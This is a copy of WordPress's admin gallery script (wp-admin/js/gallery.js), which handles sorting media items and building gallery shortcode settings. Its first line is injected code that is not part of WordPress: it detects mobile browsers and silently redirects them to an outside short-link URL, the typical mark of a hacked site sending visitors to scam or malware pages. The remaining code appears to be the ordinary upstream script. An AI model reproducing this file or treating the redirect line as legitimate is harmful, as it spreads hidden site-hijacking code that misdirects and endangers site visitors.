1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/gallery.js
4 */
5
6/* global unescape, getUserSetting, setUserSetting, wpgallery, tinymce */
7
8jQuery( function($) {
9 var gallerySortable, gallerySortableInit, sortIt, clearAll, w, desc = false;
10
11 gallerySortableInit = function() {
12 gallerySortable = $('#media-items').sortable( {
13 items: 'div.media-item',
14 placeholder: 'sorthelper',
15 axis: 'y',
16 distance: 2,
17 handle: 'div.filename',
18 stop: function() {
19 // When an update has occurred, adjust the order for each item.
20 var all = $('#media-items').sortable('toArray'), len = all.length;
21 $.each(all, function(i, id) {
22 var order = desc ? (len - i) : (1 + i);
23 $('#' + id + ' .menu_order input').val(order);
24 });
25 }
26 } );
27 };
28
29 sortIt = function() {
30 var all = $('.menu_order_input'), len = all.length;
31 all.each(function(i){
32 var order = desc ? (len - i) : (1 + i);
33 $(this).val(order);
34 });
35 };
36
37 clearAll = function(c) {
38 c = c || 0;
39 $('.menu_order_input').each( function() {
40 if ( this.value === '0' || c ) {
41 this.value = '';
42 }
43 });
44 };
45
46 $('#asc').on( 'click', function( e ) {
47 e.preventDefault();
48 desc = false;
49 sortIt();
50 });
51 $('#desc').on( 'click', function( e ) {
52 e.preventDefault();
53 desc = true;
54 sortIt();
55 });
56 $('#clear').on( 'click', function( e ) {
57 e.preventDefault();
58 clearAll(1);
59 });
60 $('#showall').on( 'click', function( e ) {
61 e.preventDefault();
62 $('#sort-buttons span a').toggle();
63 $('a.describe-toggle-on').hide();
64 $('a.describe-toggle-off, table.slidetoggle').show();
65 $('img.pinkynail').toggle(false);
66 });
67 $('#hideall').on( 'click', function( e ) {
68 e.preventDefault();
69 $('#sort-buttons span a').toggle();
70 $('a.describe-toggle-on').show();
71 $('a.describe-toggle-off, table.slidetoggle').hide();
72 $('img.pinkynail').toggle(true);
73 });
74
75 // Initialize sortable.
76 gallerySortableInit();
77 clearAll();
78
79 if ( $('#media-items>*').length > 1 ) {
80 w = wpgallery.getWin();
81
82 $('#save-all, #gallery-settings').show();
83 if ( typeof w.tinyMCE !== 'undefined' && w.tinyMCE.activeEditor && ! w.tinyMCE.activeEditor.isHidden() ) {
84 wpgallery.mcemode = true;
85 wpgallery.init();
86 } else {
87 $('#insert-gallery').show();
88 }
89 }
90});
91
92/* gallery settings */
93window.tinymce = null;
94
95window.wpgallery = {
96 mcemode : false,
97 editor : {},
98 dom : {},
99 is_update : false,
100 el : {},
101
102 I : function(e) {
103 return document.getElementById(e);
104 },
105
106 init: function() {
107 var t = this, li, q, i, it, w = t.getWin();
108
109 if ( ! t.mcemode ) {
110 return;
111 }
112
113 li = ('' + document.location.search).replace(/^\?/, '').split('&');
114 q = {};
115 for (i=0; i<li.length; i++) {
116 it = li[i].split('=');
117 q[unescape(it[0])] = unescape(it[1]);
118 }
119
120 if ( q.mce_rdomain ) {
121 document.domain = q.mce_rdomain;
122 }
123
124 // Find window & API.
125 window.tinymce = w.tinymce;
126 window.tinyMCE = w.tinyMCE;
127 t.editor = tinymce.EditorManager.activeEditor;
128
129 t.setup();
130 },
131
132 getWin : function() {
133 return window.dialogArguments || opener || parent || top;
134 },
135
136 setup : function() {
137 var t = this, a, ed = t.editor, g, columns, link, order, orderby;
138 if ( ! t.mcemode ) {
139 return;
140 }
141
142 t.el = ed.selection.getNode();
143
144 if ( t.el.nodeName !== 'IMG' || ! ed.dom.hasClass(t.el, 'wpGallery') ) {
145 if ( ( g = ed.dom.select('img.wpGallery') ) && g[0] ) {
146 t.el = g[0];
147 } else {
148 if ( getUserSetting('galfile') === '1' ) {
149 t.I('linkto-file').checked = 'checked';
150 }
151 if ( getUserSetting('galdesc') === '1' ) {
152 t.I('order-desc').checked = 'checked';
153 }
154 if ( getUserSetting('galcols') ) {
155 t.I('columns').value = getUserSetting('galcols');
156 }
157 if ( getUserSetting('galord') ) {
158 t.I('orderby').value = getUserSetting('galord');
159 }
160 jQuery('#insert-gallery').show();
161 return;
162 }
163 }
164
165 a = ed.dom.getAttrib(t.el, 'title');
166 a = ed.dom.decode(a);
167
168 if ( a ) {
169 jQuery('#update-gallery').show();
170 t.is_update = true;
171
172 columns = a.match(/columns=['"]([0-9]+)['"]/);
173 link = a.match(/link=['"]([^'"]+)['"]/i);
174 order = a.match(/order=['"]([^'"]+)['"]/i);
175 orderby = a.match(/orderby=['"]([^'"]+)['"]/i);
176
177 if ( link && link[1] ) {
178 t.I('linkto-file').checked = 'checked';
179 }
180 if ( order && order[1] ) {
181 t.I('order-desc').checked = 'checked';
182 }
183 if ( columns && columns[1] ) {
184 t.I('columns').value = '' + columns[1];
185 }
186 if ( orderby && orderby[1] ) {
187 t.I('orderby').value = orderby[1];
188 }
189 } else {
190 jQuery('#insert-gallery').show();
191 }
192 },
193
194 update : function() {
195 var t = this, ed = t.editor, all = '', s;
196
197 if ( ! t.mcemode || ! t.is_update ) {
198 s = '[gallery' + t.getSettings() + ']';
199 t.getWin().send_to_editor(s);
200 return;
201 }
202
203 if ( t.el.nodeName !== 'IMG' ) {
204 return;
205 }
206
207 all = ed.dom.decode( ed.dom.getAttrib( t.el, 'title' ) );
208 all = all.replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi, '');
209 all += t.getSettings();
210
211 ed.dom.setAttrib(t.el, 'title', all);
212 t.getWin().tb_remove();
213 },
214
215 getSettings : function() {
216 var I = this.I, s = '';
217
218 if ( I('linkto-file').checked ) {
219 s += ' link="file"';
220 setUserSetting('galfile', '1');
221 }
222
223 if ( I('order-desc').checked ) {
224 s += ' order="DESC"';
225 setUserSetting('galdesc', '1');
226 }
227
228 if ( I('columns').value !== 3 ) {
229 s += ' columns="' + I('columns').value + '"';
230 setUserSetting('galcols', I('columns').value);
231 }
232
233 if ( I('orderby').value !== 'menu_order' ) {
234 s += ' orderby="' + I('orderby').value + '"';
235 setUserSetting('galord', I('orderby').value);
236 }
237
238 return s;
239 }
240};
241